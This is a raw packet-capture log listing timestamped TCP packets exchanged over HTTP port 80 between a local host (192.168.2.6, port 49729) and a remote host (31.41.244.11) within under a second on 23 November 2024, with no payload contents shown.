Nov 23, 2024 13:28:14.125997066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.126050949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.126863003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.126915932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.126981020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.127087116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.127890110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.127976894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.128002882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.128027916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.128834963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.128951073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.129038095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.129827976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.129888058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.129925013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.129966974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.130791903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.130866051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.130903006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.131031036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.131798029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.131864071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.131903887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.132072926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.132777929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.132857084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.132860899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.132919073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.133764982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.133867025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.133879900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.133968115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.134830952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.134918928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.134921074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.134978056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.135727882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.135783911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.135839939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.135891914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.136708021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.136768103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.136796951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.136862040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.137732983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.137794018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.137814045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.137878895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.138674021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.138768911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.138772011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.138906956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.139722109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.139743090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.139802933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.140656948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.140747070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.140841007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.140841007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.141623020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.141696930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.141725063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.141864061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.142599106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.142666101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.142695904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.142766953 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.143598080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.143677950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.143800974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.143862009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.294341087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.294392109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.294521093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.294521093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.294820070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.294908047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.294929981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.295048952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.295803070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.295869112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.295877934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.296034098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.296768904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.296828985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.296884060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.296884060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.297748089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.297800064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.297898054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.298201084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.298810959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.298861027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.299041986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.299268007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.299777985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.299877882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.299899101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.300004005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.300698996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.300801039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.300810099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.300875902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.301744938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.301815033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.301831961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.301901102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.302654982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.302728891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.302779913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.302927971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.303663015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.303755045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.303790092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.303858042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.304641008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.304716110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.304768085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.304835081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.305641890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.305700064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.305737019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.305792093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.306868076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.306940079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.307030916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.307099104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.307750940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.307779074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.307807922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.307826996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.308577061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.308625937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.308692932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.308741093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.309559107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.309649944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.309689045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.309737921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.310564995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.310631990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.310671091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.310718060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.311547041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.311700106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.311744928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.311794996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.312514067 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.312567949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.312613964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.312670946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.313507080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.313556910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.313601971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.313678980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.314492941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.314553022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.314626932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.314698935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.315470934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.315545082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.315588951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.315671921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.316459894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.316513062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.316566944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.316627026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.317436934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.317497015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.317542076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.317614079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.318486929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.318594933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.318624973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.318715096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.319408894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.319473028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.319608927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.319736004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.320399046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.320456028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.320528030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.320677042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.321360111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.321449995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.321482897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.321547985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.322355986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.322424889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.322520971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.322581053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.323345900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.323402882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.323446989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.323529959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.324357986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.324410915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.324429035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.324477911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.325326920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.325423002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.325433016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.325537920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.326277971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.326329947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.326376915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.326455116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.327275038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.327339888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.327426910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.327496052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.328253031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.328335047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.328388929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.328562021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.329257011 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.329366922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.329400063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.329469919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.330212116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.330343008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.330370903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.330406904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.331211090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.331304073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.331356049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.331459045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.332283974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.332348108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.332365990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.332474947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.333170891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.333220959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.333316088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.333376884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.334152937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.334259987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.334347963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.334403992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.335155010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.335268021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.335279942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.335331917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.336123943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.336173058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.336239100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.336286068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.337146044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.337245941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.337310076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.337377071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.338099003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.338174105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.338244915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.338413954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.339082956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.339199066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.339236021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.339276075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.340065956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.340173960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.340192080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.340293884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.341048002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.341167927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.341196060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.341247082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.342024088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.342072964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.342117071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.342206001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.343008041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.343063116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.343108892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.343178034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.343988895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.344043016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.344088078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.344151974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.344983101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.345048904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.345118046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.345218897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.345916033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.346007109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.495974064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.495995045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.496324062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.496413946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.496527910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.496546030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.496606112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.497406960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.497473001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.497499943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.497670889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.498368025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.498425961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.498464108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.498513937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.499366045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.499481916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.499553919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.499555111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.500351906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.500442982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.500466108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.500538111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.501379967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.501432896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.501477003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.501543045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.502273083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.502334118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.502384901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.502451897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.503283024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.503340960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.503417015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.503484964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.504266977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.504333973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.504386902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.504456997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.505266905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.505317926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.505398989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.505481005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.506302118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.506319046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.506357908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.506423950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.507221937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.507277966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.507334948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.507385015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.508197069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.508260965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.508301020 CET	80	49729	31.41.244.11	192.168.2.6
